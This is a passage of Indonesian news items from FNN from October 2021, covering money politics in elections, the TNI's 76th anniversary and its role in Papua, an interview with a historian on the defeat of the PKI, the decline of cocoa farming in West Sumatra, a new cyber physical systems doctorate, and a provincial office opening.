menebar emoticon tertawa girang, Angga menjawab bahwa Nussa akan segera tayang di Bucheon, Korea Selatan. "Nussa bentar lagi udah World Premiere di Bucheon dong. Ngerti kan apa itu 'World Premiere'? (emoticon tertawa) Ini film kamu yang cerita dan judulnya plagiat, kapan tayang, Den? Udah ga sakit hati kan gue tolak idenya waktu itu?" balas Angga sambil memperlihatkan 2 poster film. Satu poster berjudul Marley dan bergambar seorang lelaki dengan anjingnya, dan satunya lagi adalah poster asli film Marley & Me yang dibintangi Owen Wilson, Jennifer Aniston, dan anjing di keluarga mereka yang bernama Marley. (Bersambung) Penulis adalah Wartawan Senior FNN.co.id

KPU Ingatkan Bahayanya Politik Uang Terhadap Demokrasi

Jakarta, FNN - Komisi Pemilihan Umum RI mengingatkan semua pihak soal bahayanya dampak dari praktik politik uang terhadap demokrasi di Indonesia. Ketua KPU RI Ilham Saputra dalam diskusi pendidikan pemilih dalam pencegahan politik uang pada pemilu dan pemilihan di Jakarta, Selasa, 5 Oktober 2021 mengatakan, dampak dari politik uang sangat mencederai demokrasi. "Menurut sebuah riset, jumlah pemilih yang terlibat politik uang dalam Pemilu 2019 di kisaran 19,4 persen hingga 33,1 persen. Angka itu cukup lumayan besar, sangat tinggi kalau dikaitkan dengan standar internasional," kata Ilham Saputra, sebagaimana dikutip dari Antara. Menurut Ilham, hasil penelitian itu menempatkan Indonesia menjadi salah satu negara terbesar untuk peringkat politik uang sedunia. Guna mencegah politik uang terjadi pada penyelenggaraan pemilu mendatang, KPU berupaya memberikan pendidikan pemilih lewat program Desa Peduli Pemilu dan Pemilihan. "KPU juga berusaha semaksimal mungkin untuk memberikan pemahaman kepada masyarakat bagaimana rusaknya atau negatifnya politik uang dalam tahapan penyelenggaraan pemilu dan pemilihan," kata Ilham Saputra. Menurut dia, transaksi politik uang dalam pemilu dan pemilihan akan mengakibatkan pemimpin yang terpilih berperilaku koruptif dan merusak bangsa dan negara. "Politik uang dapat merusak dan mencederai demokrasi itu sendiri, dapat merusak pemimpin-pemimpin yang kita pilih nanti," katanya. Sudah banyak contoh, mereka yang terpilih dalam Pemilu dengan praktik politik uang, akan melakukan tindak pidana korupsi. "Untuk mengembalikan modal dalam politik uang ketika ada transaksi tersebut," katanya lagi. Oleh karena itu, Ilham mengharapkan semua pihak dapat berperan serta meminimalisasi, bahkan meniadakan tindakan politik uang dalam penyelenggaraan pemilu dan pemilihan. (MD).

TNI Berperan Besar Dalam Penanganan Corona di Jakarta

Jakarta, FNN - Gubernur DKI Jakarta, Anies Baswedan mengatakan, Tentara Nasional Indonesia (TNI) memiliki peran besar dalam kolaborasi penanganan pandemi Covid-19 khususnya di Ibu Kota. "Kolaborasi kami, Alhamdulilah telah berhasil bersama-sama mendorong Jakarta menjadi sebuah tempat yang aman dan peran TNI luar biasa besar, seluruh jajaran bekerja all out," kata Anies memaknai Hari Ulang Tahun (HUT) ke-76 TNI yang disampaikan melalui @aniesbaswedan di Jakarta, Selasa, 5 Oktober 2021. Menurut dia, di usia yang ke-76 tahun, TNI tak hanya menjaga kedaulatan Indonesia dan garda terdepan dalam pertahanan dengan kekuatan luar, tetapi juga hadir memberi solusi dan ikut menyelesaikan masalah langsung. "Kami di DKI Jakarta merasakan sekali masa-masa pandemi seperti sekarang ini, kehadiran TNI menjadi salah satu pemberi solusi yang luar biasa," ucapnya, sebagaimana dikutip dari Antara. Mantan Menteri Pendidikan dan Kebudayaan itu kemudian menyampaikan terima kasih dan apresiasi atas kontribusi dan peran TNI termasuk dalam penanganan pandemi Covid-19. Ia juga mengharapkan TNI semakin maju, berkembang dan solid serta semakin menjadi teladan dan kebanggaan masyarakat Indonesia. "Insya Allah TNI makin jaya dari masa ke masa. Dirgahayu TNI ke-76, salam hangat, salam hormat, bersatu berjuang kita pasti menang," ucap Anies. Peringatan HUT Ke-76 TNI dipusatkan di halaman depan Istana Merdeka, Jakarta, yang dipimpin Presiden Joko Widodo. Upacara peringatan HUT Ke-76 TNI digelar secara terbatas dan menerapkan protokol kesehatan ketat di halaman depan Istana Merdeka. Upacara tersebut turut dihadiri Wakil Presiden Ma'ruf Amin, Panglima TNI Marsekal TNI Hadi Tjahjanto, Menteri Pertahanan Prabowo Subianto, Menteri Koordinator Politik Hukum dan Keamanan Mahfud MD. Kemudian, Kepala Staf TNI Angkatan Darat Jenderal TNI Andika Perkasa, Kepala Staf TNI Angkatan Laut Laksamana TNI Yudo Margono, dan Kepala Staf TNI Angkatan Udara Marsekal TNI Fadjar Prasetyo. (MD).

Nato Berperan Penting Hancurkan Partai Komunis Indonesia

Bandung, FNN – Nato berperan penting dalam menghancurkan Gerakan 30 September Partai Komunis Indonesia (G30S PKI). Jika bukan karena Nato, bumi pertiwi sudah menjadi komunis, dan Pancasila yang sila pertama Ketuhanan Yang Maha Esa, tidak berlaku lagi. “Peranan Nato sangat penting dalam menumpas PKI itu. Kalau Nato tidak ada, habislah Indonesia menjadi negara komunis,” kata sejarawan Universitas Padjadajaran (Unpad), Bandung, Prof. Ahmad Mansur Suryanegara dalam perbincangan dengan FNN. Nato yang dia maksud adalah Nasution dan Soeharto, bukan Fakta Pertahanan Atlantik Utara atau North Atlantic Treaty Organization (NATO). Nasution adalah Jenderal Besar Abdul Haris Nasution yang lolos dari upaya pembunuhan yang dilakukan gerombolan PKI yang menjadi anggota Pasukan Cakrabirawa – pasukan pengamanan Presiden Soekarno ketika itu. Lolos dari penculikan dan pembunuhan, tetapi putrinya Ade Irma Suryani, gugur kena tembakan peluru tajam. Sedangkan Soeharto adalah mantan Presiden Indonesia. Ketika peristiwa G30S PKI terjadi, Seoharto adalah Panglima Komando Cadangan Strategis Tentara Nasional Indonesia Angkatan Darat (Pangkostrad). Ia memerintahkan Komandan Resimen Pasukan Komando Angkatan Darat (RPKAD) – sekarang Komando Pasukan Khusus (Kopassus), Kolonel Sarwo Eddi Wibowo supaya mengambil-alih Radio Republik Indonesia (RRI) yang sudah dikuasai PKI. Kemudian, membersihkan pangkalan Halim Perdanakusumah, Jakarta Timur yang dijadikan basis PKI. Ia yang ditemui di rumahnya, kawasan Margahayu, Bandung mengatakan, kesadaran akan sejarah di Indonesia sudah sangat tinggi. Di beberapa daerah ada istilah yang merujuk artinya adalah sejarah. Di Sumatera Barat ada Tambo Minang. Hikayat itu juga sejarah. Misalnya, hikayat Hang Tuah. Di Jawa ada namanya babata nagawi. Di kalangan pesantren juga ada tarikh. Ada tarikh Rasulullah. Di kalangan intelektual, menggunakan sejarah istilah-istilah barat. Ada history (sejarah), ada geschiedenis (Belanda), I'histoire (Prancis). Ada juga dari bahasa Latin. Semua kata sejarah ada di Indonesia, dan beragam atau bermacam-macam. Nah, karena beragam istilah, maka perlu disatukan. Kalau tidak salah, ujar Mansur, Sanusi Pane - seorang sastrawan cukup terkenal - mengusulkan agar menyatukan istilah tersebut kepada BPUPKI atau Badan Penyelidik Usaha-usaha Persiapan Kemerdekaan Indonesia (BPUPKI). Nah, diambillah dari bahasa Arab, yaitu syajarah (terdiri sya.ja.rah) yang artinya pohon. Memang, kalau dalam pewayangan kalau ada gunungan, di tengah-tengahnya ada gambar simbol ka’bah lalu diatasnya ada pohon, dikanan kirinya itu ada semacam penjaga ka’bah, itu namanya sajaratan hayyin atau sejarah kehidupan. Jadi, kalau wayang akan dimulai, tudungan digelarkan dulu. Peran wayang itu merupakan gambaran dari awal sampai akhir Indonesia. Jadi, Indonesia itu dalam perang itu antara yang lima dengan yang seratus. Yang lima itu namanya Pandawa, yang seratus itu Kurawa. Lima itu, pertama menyampaikan syahadat, kedua menggambarkan sholat, yang ketiga menggambarkan dzakat, keempat menggambarkan Ramadhan dan kelima adalah haji. Kelima tokoh inilah yang selalu menang di dalam sejarah karena memegang kalimat syahadat. Lima itu mengalahkan yang seratus. Lafal syahadat adalah Ayshadu Alla ilaha illallah wa ayshadu Anna Muhammadarrasulullah" (Aku bersaksi bahwa tiada Tuhan selain Allah dan Muhammad adalah utusan-Nya). Jadi, ujarnya, kita sebagai bangsa Indonesia dingatkan, Islam itu walaupun ada lima, tapi karena inisiasinya dari kelompok-kelompok kecil, itu yang membuat kemenangan sampai akhir. Pasantren itu sendiri hanya 1/19 atau sepersembilan belas) dari kelompok bangsa ini. Menurut Mansur, kelompok kecil yang hanya 19 itu dari keseluruhan merupakan gambaran kemengan Indonesia. Jika kita bersandar ke Alqur’an, 19 itu ada dari ba sampai min, Bismillahirahmanirahim. Kita tidak pernah menyangka kemengan itu timbul dari kemengan Islam. "Umpama saya tambahkan sedikit, kemanusiaan itu selalu berangka tujuh. Kenapa? Karena kita itu dilahirkan ibu sembilan bulan tujuh hari, sembilan bulan itu artinya 9 dikali 30 sama dengan 270 ditambah 10 jadi 280. Rasulullah mengingatkan, janin (di dalam rahim seorang ibu) sekitar 40 hari berubah, 280 dibagi 40 itu adalah 7 artinya,' ucapnya. Maka langit 7 (lapis), bumi 7 (lapis), jumlah hari 7, tawaf tujuh, sya’i 7, Ka’bah 2 kali 7. Semuanya serba 7. Jumlah hari itu dari ahad sampai Sabtu. Kalau 9 bulan 7 hari itu mau makan apa? Bayi dalam perut ibu itu disebut megkomsumsi darah merah. Kalau selama 2 bulan 20 hari memakan ASI (Air Susu Ibu)- yang putih. Jadi, merah putih itu adalah Islam. , Rasulullah itu ada karena Allah memberikan dunia kepadaku. Allah menunjukkan dunia, Allah menunjukkan timur dan baratnya, dan memberikan warna yang sangat indah. Dalam kitab Imam Muslim, dalam bukunya jilidnya 10 halamannya 340. Jadi, Indonesia itu suatu daerah yang sebenarnya sudah ada gambaran dalam suatu bentuk keislaman. Berbagai usaha yang ingin mengubah proklamasi, 17 Agustus itu (tidak berhasil). Sebab ada kalimat, “Bertkat Rahmat Allah...” PKI (Partai Komunis Indonesia) sudah melakukan kudeta berkali-kali. Yang pertama sesudah proklamasi, di Cirebon, berusaha menggagalkan Konperensi Linggar Jati. Kedua, di Yogya, 12 Februai 1946, ketiga tahun 1946. Yang memimpin kudeta itu dipimpin oleh yang namanya Islami, yaitu Muhammad Yusuf. Kedua, juga nama Islam, Tan Malaka. Kudeta ketiga di Madiun tahun 1948. Pemimpinnya, menggunakan nama nabi, Muso dari Nabi Musa. Pemimpin kedua, Amir Syarifuddin. Walaupun namanya Islam, tetapi beragama Kristen dengan partainya, PKI. Kegagalan keempat, yaitu September akhir atau Oktober awal 1965 yang dikenang sebagai Gerakan 30 September Partai Komunis Indonesia (G30S/PKI). G30S/PKI, atau kudeta keempat oleh PKI, dipimpin oleh DN Aidit (yang nama awalnya juga islami). Jadi, kita lihat kemerdekaan kita berkat Ramhat Allah. Sehingga, berbagai upaya kudeta atau membelokkan, betapa hebatnya mendapat bantuan militer sekali pun gagal. Gus Dur (mantan Presiden Abdurrahman Wahid) mengatakan, “Kualat PKI itu. Tidak akan mungkin mengubah proklamasi.” Nahdlatul Ulama sendiri sudah mengingatkan bahaya komunis gaya baru. Sebelum pengurus NU yang sekarang sudah menyatakan, NU perlu waspada. Secara khusus Gus Dur secara pribadi, bagaimanapun usaha komunis tidak pernah sukses, gagal. Komunis menjadi bahaya laten, kalau tersembunyi. Kalau muncul, kalau sudah muncul mudah dipukul. Kata Gus Dur ke saya secara pribadi, “Jika komunis muncul, tidak perlu bantuan TNI (Tentara Nasional Indonesia) ikut campur. Kita selesaikan sendiri. Yang namanya Banser cukup kuat. Dengan PKI kok takut. Upaya bangkitnya kembali PKI tidak mungkin, kualat.” Itu kenyataan sejarah. Walaupun pemerintah membuat buku sejarah baru yang mengatakan mereka tuh seperti baik-baik saja, G30S bukan PKI dengan TNI, tetapi adalah TNI kontra TNI, Untung dengan Yani, tetapi pada 10 November 1965 kan mengatakan bahwa semua PKI harus menanggalkan ke-PKI- annya. PKI berusaha masuk ke organ-organ (yang ada di pemerinthan dan juga di masyarakat). Komunis gaya baru (masuk ke berbagai organ masyarakat) dan itu dilakukan dalam menghadapi Pak Harto (Soeharto). Dalam buku, “Api Sejarah”, saya menyebutkan mereka (komunis) masuk ke Indonesia dalam usaha mencari identitas. PKI atau penganut paham komunis, mencoba membuat sejarah baru. Sebelum melakukan revolusi, mereka menitipkan guru-guru sejarah. Sekarang, bukunya terlebih dahulu diterbitkan. Kemudian, guru-guru sejarah memulai mengubah pikiran masyarakat. (MD/M.Anwar Ibrahim/Job).

TNI Harus Fokus Pada Ancaman Kedaulatan di Papua

Jakarta, FNN - Presiden Joko Widodo menginstruksikan TNI selalu sigap menghadapi spektrum ancaman yang lebih luas, seperti pelanggaran kedaulatan, pencurian kekayaan alam di laut, radikalisme, terorisme, ancaman siber, dan ancaman biologi, termasuk juga ancaman bencana alam. Pernyataan itu dikemukakan Presiden Jokowi dalam HUT ke 76 TNI di halaman depan Istana Merdeka, Jakarta, Selasa (5/10). Menurut pengamat komunikasi politik dan militer dari Universitas Nasional (Unas) Jakarta, Selamat Ginting, instruksi presiden sebagai pemegang kekuasaan tertinggi atas TNI itu merupakan bentuk perintah agar TNI antara lain fokus pada upaya mengatasi gerakan separatisme dan pemberontakan bersenjata. “Penggunaan kekuatan pertahanan militer dalam menghadapi ancaman separatisme dan pemberontakan bersenjata dilakukan berdasarkan putusan politik pemerintah dan dilindungi oleh undang-undang,” kata Selamat Ginting, dosen Fakultas Ilmu Sosial dan Ilmu Politik (FISIP) Unas di Jakarta, Selasa (5/10/2021). Kandidat doktor ilmu politik itu mengemukakan, penggunaan kekuatan TNI dapat dilaksanakan melalui OMSP (Operasi Militer Selain Perang) dengan mengembangkan strategi operasi yang tepat dan efektif sesuai dengan situasi dan kondisi yang dihadapi. “Menghadapi separatisme bukan hanya dengan cara-cara militer semata, melainkan juga dengan cara nirmiliter dengan mengefektifkan fungsi-fungsi pembangunan nasional,” ujar Selamat Ginting yang malang melintang dalam liputan konflik di Papua. Dikemukakan, akar masalah separatisme dapat diatasi melalui pendekatan kesejahteraan dan keadilan. Separatisme merupakan ancaman nyata yang melakukan regenerasi secara cepat. Karena itulah, kata dia, TNI harus memahami fenomena dalam menyusun strategi pertahanan nirmiliter. Menurutnya, momentum demokratisasi sejak 1998-1999 dimanfaatkan oleh kelompok separatis guna mencapai tujuannya. Baik dengan menggunakan pola perjuangan nonbersenjata serta berusaha mencari perhatian dan dukungan internasional. Untuk menghadapi kecenderungan ancaman separatisme, lanjut Selamat Ginting, unsur pertahanan nirmiliter harus berperan aktif untuk mencari dan menemukan solusi yang tepat dan efektif. Aparat pembinaan territorial (binter) TNI, kata dia, harus bisa bekerjasama dengan pemerintah daerah setempat. Termasuk melibatkan tokoh masyarakat, tokoh agama, dan tokoh adat untuk menyadarkan kelompok separatis. “Ancaman separatisme berakar pada faktor-faktor nirmiliter sehingga harus dihadapi pula dengan pendekatan nirmiliter,” kata Selamat Ginting, mantan wartawan senior Republika. TNI, lanjutnya, harus bisa mengedepankan pendekatan nirmiliter dengan operasi binter untuk membawa seluruh warga Papua merasa nyaman tinggal dalam pangkuan Ibu Pertiwi, Indonesia. Hal ini penting agar bibit-bibit separatisme tidak berkembang. Rasa kebanggaan rakyat Indonesia sebagai bangsa yang bersatu dalam wadah NKRI (Negara Kesatuan Republik Indonesia) dan yang ber-Bhinneka Tunggal Ika harus terus ditanamkan dan dikembangkan di Papua. “Mumpung ada momentum bagus, yakni pelaksanaan PON (Pekan Olahraga Nasional) di Papua.” Ancaman Terorisme Sedangkan mengenai ancaman terorisme, menurut Selamat Ginting, Indonesia telah memiliki undang-undang mengenai pemberantasan tindak pidana terorisme dengan Undang-undang Nomor 15 Tahun 2003. Penerapan undang-undang tersebut cukup efektif dan memberikan efek tangkal yang besar. Menurutnya, penanganan aksi kejahatan terorisme dapat dilakukan melalui pendekatan pertahanan militer. Secara hukum penanganan ancaman terorisme merupakan bagian dari fungsi pertahanan negara untuk melindungi segenap warga bangsanya. Indonesia, lanjutnya, telah meratifikasi dua konvensi internasional mengenai pemberantasan terorisme. Yakni Konvensi Internasional Pemberantasan Pemboman oleh Terorisme Tahun 1997 serta Konvensi Internasional Pemberantasan Pendanaan Terorisme Tahun 1999. Dikemukakan, dengan menyadari bahwa terorisme memiliki jaringan internasional, Indonesia menjalin kerja sama dengan negara-negara lain untuk menangani masalah terorisme. Kerja sama tersebut diwujudkan dalam bentuk pertukaran informasi intelijen, pembangunan kapabilitas, serta pertemuan-pertemuan untuk membicarakan perkembangan ancaman terorisme dan langkah-langkah untuk mengatasinya. Lalu di mana posisi TNI? Menurut pengamat militer itu, penanganan terhadap ancaman terorisme, baik terorisme internasional maupun terorisme dalam negeri merupakan bagian dari tugas TNI. Hal ini diamanatkan oleh Undang-Undang No.34 tahun 2004 tentang TNI. Tugas tersebut, lanjutnya, dilaksanakan TNI dengan pola pendekatan preventif dan represif maupun koersif. Penanganan dengan pola preventif lebih diutamakan dengan mengintensifkan fungsi intelijen, penggunaan satuan-satuan khusus yang dipersiapkan sebagai kekuatan responsif, serta pemberdayaan Komando Kewilayahan TNI dan satuan-satuan TNI. Fungsi intelijen yang dimiliki TNI dan jajarannya, kata Selamat Ginting, mempunyai tugas ikut dalam mengumpulkan informasi tentang kegiatan terorisme di seluruh wilayah kerja TNI. Sehingga TNI dapat mendayagunakan kemampuan intelijen yang berbasis manusia serta intelijen teknik. Ia meyakini, pelaku-pelaku aksi terorisme juga memanfaatkan kemajuan teknologi dalam melakukan aksinya. Sehingga fungsi intelijen TNI dalam penanganan terorisme harus mengoptimalkan kemampuan penginderaan dini berbasis human intelligent. “Tentu saja harus dilengkapi dengan sarana teknologi yang mampu mendeteksi kegiatan dan keberadaan pelaku kejahatan terorisme,” pungkas Selamat Ginting. (sws)

Luas Lahan Kakao di Sumbar Terus Berkurang

Padang, FNN - Luas lahan kakao di Sumatera Barat terus menurun setiap tahun seiring berkurangnya minat petani untuk memelihara komoditas tersebut karena rentan hama dan penyakit. "Luas lahan perkebunan rakyat untuk komoditas kakao di Sumbar pada 2020 tinggal 84.942 hektare dengan produksi 43.209 ton per tahun, turun drastis dari tahun 2019 yang mencapai 145.735 hektare dengan jumlah produksi 66.917 ton per tahun," kata Kepala Dinas Tanaman Pangan Hortikultura dan Perkebunan Sumbar Syafrizal di Padang, Selasa. Ia mengatakan berkurangnya luas lahan kakao tersebut bukan karena harga komoditas yang turun, namun karena hama dan pemeliharaan tanaman yang cukup merepotkan. "Harga kakao cukup bagus di pasaran, bisa mencapai Rp25.000 per kilogramnya. Tapi karena pemeliharaan yang rumit serta hama membuat petani memilih untuk beralih pada komoditas pangan lain," ujarnya. Rumitnya perawatan tersebut karena petani harus rajin dan intens untuk memantau dahan-dahan yang harus dipangkas. Tanpa pemangkasan kakao sulit untuk berbuah lebat. Pemangkasan tersebut juga harus memperhatikan banyak hal diantaranya tidak memangkas dahan yang berpotensi untuk berbunga dan berbuah. "Persoalannya jika dilakukan pemangkasan, maka hama tupai akan lebih mudah untuk memakan buah kakao sehingga petani menjadi rugi," katanya. Syafrizal menyayangkan berkurangnya lahan kakao di Sumbar karena komoditas itu selama ini menjadi salah satu komoditas pertanian yang bisa menembus pasar ekspor dengan negara tujuan di Eropa, Amerika, China, Rusia, India, Jepang dan Timur Tengah. Ia menyebut telah melakukan sosialisasi kepada petani kakao untuk bertahan bahkan meningkatkan produktivitas karena pasar yang tersedia sangat luas. Namun setiap tahun luas kebun kakao di daerah itu tetap menurun. Sementara salah seorang petani asal Padang Pariaman Rusli (45) mengatakan petani kesulitan dalam mengendalikan hama tupai yang membuat produksi terus menurun. Belum lagi soal pemeliharaan dan perlakuan pascapanen. "Biji kakao harus dijemur untuk mendapatkan kekeringan yang baik untuk mendapatkan harga yang sesuai. Berbeda dengan komoditas lain seperti ubi atau jagung yang bisa langsung dijual sehabis panen. Karena itu banyak petani yang beralih dari tanaman kakao," ujarnya. (mth)

TNI Harus Fokus Pada Ancaman Kedaulatan di Papua

Jakarta, FNN - Presiden Joko Widodo menginstruksikan TNI selalu sigap menghadapi spektrum ancaman yang lebih luas, seperti pelanggaran kedaulatan, pencurian kekayaan alam di laut, radikalisme, terorisme, ancaman siber, dan ancaman biologi, termasuk juga ancaman bencana alam. Pernyataan itu dikemukakan Presiden Jokowi dalam HUT ke 76 TNI di halaman depan Istana Merdeka, Jakarta, Selasa (5/10). Menurut pengamat komunikasi politik dan militer dari Univeritas Nasional (Unas) Jakarta, Selamat Ginting, intruksi presiden sebagai pemegang kekuasaan tertinggi atas TNI itu merupakan bentuk perintah agar TNI antara lain fokus pada upaya mengatasi gerakan separatisme dan pemberontakan bersenjata. “Penggunaan kekuatan pertahanan militer dalam menghadapi ancaman separatisme dan pemberontakan bersenjata dilakukan berdasarkan putusan politik pemerintah dan dilindungi oleh undang-undang,” kata Selamat Ginting, dosen Fakultas Ilmu Sosial dan Ilmu Politik (FISIP) Unas di Jakarta, Selasa (5/10/2021). Kandidat doktor ilmu politik itu mengemukakan, penggunaan kekuatan TNI dapat dilaksanakan melalui OMSP (Operasi Militer Selain Perang) dengan mengembangkan strategi operasi yang tepat dan efektif sesuai dengan situasi dan kondisi yang dihadapi. “Menghadapi separatism bukan hanya dengan cara-cara militer semata, melainkan juga dengan cara nirmiliter dengan mengefektifkan fungsi-fungsi pembangunan nasional,” ujar Selamat Ginting yang malang melintang dalam liputan konflik di Papua. Dikemukakan, akar masalah separatisme dapat diatasi melalui pendekatan kesejahteraan dan keadilan. Separatisme merupakan ancaman nyata yang melakukan regenerasi secara cepat. Karena itulah, kata dia, TNI harus memahami fenomena dalam menyusun strategi pertahanan nirmiliter. Menurutnya, momentum demokratisasi sejak 1998-1999 dimanfaatkan oleh kelompok separatis guna mencapai tujuannya. Baik dengan menggunakan pola perjuangan nonbersenjata serta berusaha mencari perhatian dan dukungan internasional. Untuk menghadapi kecenderungan ancaman separatisme, lanjut Selamat Ginting, unsur pertahanan nirmiliter harus berperan aktif untuk mencari dan menemukan solusi yang tepat dan efektif. Aparat pembinaan territorial (binter) TNI, kata dia, harus bisa bekerjasama dengan pemerintah daerah setempat. Termasuk melibatkan tokoh masyarakat, tokoh agama, dan tokoh adat untuk menyadarkan kelompok separatis. “Ancaman separatisme berakar pada faktor-faktor nirmiliter sehingga harus dihadapi pula dengan pendekatan nirmiliter,” kata Selamat Ginting, mantan wartawan senior Republika. TNI, lanjutnya, harus bisa mengedepankan pendekatan nirmiliter dengan operasi binter untuk membawa seluruh warga Papua merasa nyaman tinggal dalam pangkuan Ibu Pertiwi, Indonesia. Hal ini penting agar bibit-bibit separatisme tidak berkembang. Rasa kebanggaan rakyat Indonesia sebagai bangsa yang bersatu dalam wadah NKRI (Negara Kesatuan Republik Indonesia) dan yang ber-Bhinneka Tunggal Ika harus terus ditanamkan dan dikembangkan di Papua. “Mumpung ada momentum bagus, yakni pelaksanaan PON (Pekan Olahraga Nasional) di Papua.” Ancaman Terorisme Sedangkan mengenai ancaman terorisme, menurut Selamat Ginting, Indonesia telah mememiliki undang-undang mengenai pemberantasan tindak pidana terorisme dengan Undang-undang Nomor 15 Tahun 2003. Penerapan undang-undang tersebut cukup efektif dan memberikan efek tangkal yang besar. Menurutnya, penanganan aksi kejahatan terorisme dapat dilakukan melalui pendekatan pertahanan militer. Secara hukum penanganan ancaman terorisme merupakan bagian dari fungsi pertahanan negara untuk melindungi segenap warga bangsanya. Indonesia, lanjutnya, telah meratifikasi dua konvensi internasional mengenai pemberantasan terorisme. Yakni Konvensi Internasional Pemberantasan Pemboman oleh Terorisme Tahun 1997 serta Konvensi Internasional Pemberantasan Pendanaan Terorisme Tahun 1999. Dikemukakan, dengan menyadari bahwa terorisme memiliki jaringan internasional, Indonesia menjalin kerja sama dengan negara-negara lain untuk menangani masalah terorisme. Kerja sama tersebut diwujudkan dalam bentuk pertukaran informasi intelijen, pembangunan kapabilitas, serta pertemuan-pertemuan untuk membicarakan perkembangan ancaman terorisme dan langkahlangkah untuk mengatasinya. Lalu di mana posisi TNI? Menurut pengamat militer itu, penanganan terhadap ancaman terorisme, baik terorisme internasional maupun terorisme dalam negeri merupakan bagian dari tugas TNI. Hal ini diamanatkan oleh Undang-Undang No.34 tahun 2004 tentang TNI. Tugas tersebut, lanjutnya, dilaksanakan TNI dengan pola pendekatan preventif dan represif maupun koersif. Penanganan dengan pola preventif lebih diutamakan dengan mengintensifkan fungsi intelijen, penggunaan satuan-satuan khusus yang dipersiapkan sebagai kekuatan responsif, serta pemberdayaan Komando Kewilayahan TNI dan satuan-satuan TNI. Fungsi intelijen yang dimiliki TNI dan jajarannya, kata Selamat Ginting, mempunyai tugas ikut dalam mengumpulkan informasi tentang kegiatan terorisme di seluruh wilayah kerja TNI. Sehingga TNI dapat mendayagunakan kemampuan intelijen yang berbasis manusia serta intelijen teknik. Ia meyakini, pelaku-pelaku aksi terorisme juga memanfaatkan kemajuan teknologi dalam melakukan aksinya. Sehingga fungsi intelijen TNI dalam penanganan terorisme harus mengoptimalkan kemampuan penginderaan dini berbasis human intelligent. “Tentu saja harus dilengkapi dengan sarana teknologi yang mampu mendeteksi kegiatan dan keberadaan pelaku kejahatan terorisme,” pungkas Selamat Ginting. (mth)

Politeknik Negeri Surabaya Siapkan Prodi S3 "Cyber Physical Systems"

Jakarta, FNN - Politeknik Elektronika Negeri Surabaya (PENS) menyiapkan program studi baru pascasarjana S3 terapan diklaim sebagai yang pertama di Indonesia mengkolaborasikan teknologi siber dan teknologi otomatisasi, yaitu cyber physical systems yang diharapkan aktif mulai tahun ajaran 2022-2023. “Revolusi Industri 4.0 mengkolaborasikan teknologi siber dan teknologi otomatisasi, yaitu cyber physical systems. Untuk menjawab kebutuhan ini dan menghasilkan lulusan yang kompeten, terampil, berkomitmen, dan siap kerja, dibutuhkan sinergi pendidikan tinggi vokasi bidang teknologi dan industri,” ujar Ketua Program Pascasarjana Terapan PENS Dr. Eng. Bima Sena Bayu Dewantara S, ST, MT di sela-sela acara bertajuk "Trakindo Goes to Campus" seperti dikutip dalam siaran pers yang diterima di Jakarta, Selasa. Acara yang berlangsung virtual ini merupakan kolaborasi dengan PENS dan Universitas Hasanuddin (Unhas) Makassar dengan tema “Prospek dan Masa Depan Pendidikan Teknologi di Indonesia pada Era Disrupsi Industri 4.0” yang diikuti sebanyak 250 mahasiswa dari kedua kampus tersebut. Lebih jauh Bima Sena Bayu mengungkapkan rencana PENS menjawab kebutuhan ini dengan mempersiapkan pembukaan program studi pascasarjana S3 terapan di bidang Cyber Physical Systems pertama di Indonesia. Sedangkan, Ketua Departemen Teknik Elektro Unhas Dr. Eng. Ir. Dewiani, M.T. menambahkan kampus terus menyiapkan lulusan berkualitas yang siap menghadapi perubahan zaman. “Kami memiliki beberapa mata kuliah yang sesuai dengan kebutuhan industri sehingga nanti mahasiswa siap terjun di industri. Meskipun teknologi yang digunakan tiap industri mungkin spesifik dan terus berkembang, kami telah memberi dasar yang kuat sehingga mereka bisa beradaptasi,” jelas Dewiani. Sementara itu, Corporate Communication and CSR Manager Trakindo Candy Sihombing mengatakan pendidikan teknologi menjadi salah satu bidang paling terdisrupsi di tengah transformasi dan transisi akibat Revolusi Industri 4.0 yang terjadi secara intensif. Ia mengatakan untuk menjawab kebutuhan baru yang muncul di lanskap tenaga kerja global, maka sektor pendidikan tinggi teknologi perlu melakukan berbagai perubahan dan penyesuaian agar anak didik memiliki bekal memadai untuk menghadapi tuntutan industri yang terus berubah. “Kemajuan teknologi semakin cepat dan terus berkembang. Sayangnya, di saat yang sama kita harus menghadapi situasi pandemi COVID-19 yang menghadirkan tantangan serius bagi dunia pendidikan. Untuk itu kami melakukan 'Trakindo Goes to Campus', guna memberikan gambaran mengenai kebutuhan dan masa depan industri," tambah Candy Sihombing. Trakindo Goes to Campus merupakan upaya perusahaan alat berat catterpilar tersebut menunjukkan kepedulian terhadap kemajuan pendidikan teknologi di Indonesia khususnya kepada mahasiswanya, serta harapan dapat membantu mahasiswa dengan berbagi dan mengenal secara langsung disrupsi dan transformasi pada industri alat berat di era revolusi industri 4.0. (mth)

Resmikan Gedung Disperindag Jatim, Gubernur Khofifah Apresiasi Inovasi Pondok Kurasi dan Gerai BBI

Surabaya, FNN - Gubernur Jawa Timur, Khofifah Indar Parawansa meresmikan Gedung Dinas Perindustrian dan Perdagangan Provinsi Jawa Timur yang diselenggarakan secara hybrid, Kamis (23/9/2021). Khofifah berharap dengan pembangunan infrastruktur gedung kantor ini dapat mempercepat kinerja pelayanan dan mendorong inovasi yang menunjang pelayanan kepada para pelaku usaha sektor industri dan perdagangan. Gedung kantor Dinas Perindustrian dan Perdagangan Provinsi Jawa Timur ini didukung beberapa aplikasi yang telah dibuat, untuk meningkatkan kualitas layanan seperti : SIPAP, Siskaperbapo, Dashboard PEPI, Geographical Industry Information System (GIIS), DAHAN, DOLAN, dan sebagainya. “Sektor Industri dan Perdagangan memiliki peran strategis dalam pengembangan ekonomi Jawa Timur. Pada Semester I tahun 2021, nilai PDRB Jawa Timur sebesar Rp. 1.193,13 Triliun, dimana sektor Industri memberikan kontribusi sebesar 30,56 persen dan sektor Perdagangan memberikan kontribusi sebesar 18,46 persen,” jelas Khofifah. Hal tersebut menandakan bahwa Industri dan Perdagangan merupakan sektor penting bagi perekonomian Jawa Timur, sehingga perlu didukung dengan SDM serta sarana prasarana yang memadai. Pada kegiatan ini juga dilakukan penyerahan Apresiasi Penghargaan Kepada Pelaku Usaha Industri dan Perdagangan Kategori Eksportir Baru dan Pelopor Pasar Baru di Jawa Timur yaitu CV Hortindo Agrokencana Farm dengan produk unggulan yakni Frozen Breadfruits Tostones yang telah mampu mengekspor produknya ke Amerika Serikat dan Jepang. Kemudian dilanjutkan dengan penyerahan Penghargaan Kepada Kab/Kota sebagai Pemerintah Daerah yang cepat tanggap atas tersusunnya dokumen Perencanaan Pembangunan Industri yang diberikan kepada Kota Mojokerto, Kota 